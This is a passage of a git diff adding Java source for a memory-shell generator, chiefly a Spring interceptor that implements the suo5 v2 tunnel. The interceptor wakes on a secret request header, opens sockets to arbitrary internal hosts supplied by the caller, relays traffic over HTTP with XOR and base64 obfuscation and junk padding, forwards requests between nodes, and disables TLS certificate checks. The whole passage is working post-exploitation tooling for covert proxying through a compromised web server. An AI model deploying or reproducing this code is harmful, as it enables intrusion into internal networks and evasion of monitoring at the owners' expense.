(headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } + + @Override + public void destroy() { + + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java new file mode 100644 index 00000000..2686e1e5 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java @@ -0,0 +1,1189 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; + +import javax.net.ssl.*; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Interceptor() { + } + + public Suo5v2Interceptor(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Interceptor(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Interceptor().process(request, response); + return false; + } + } catch (Throwable ignored) { + } + return true; + } + + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + + } + + @Override + public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Interceptor(tunId, 1)).start(); + new Thread(new Suo5v2Interceptor(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new 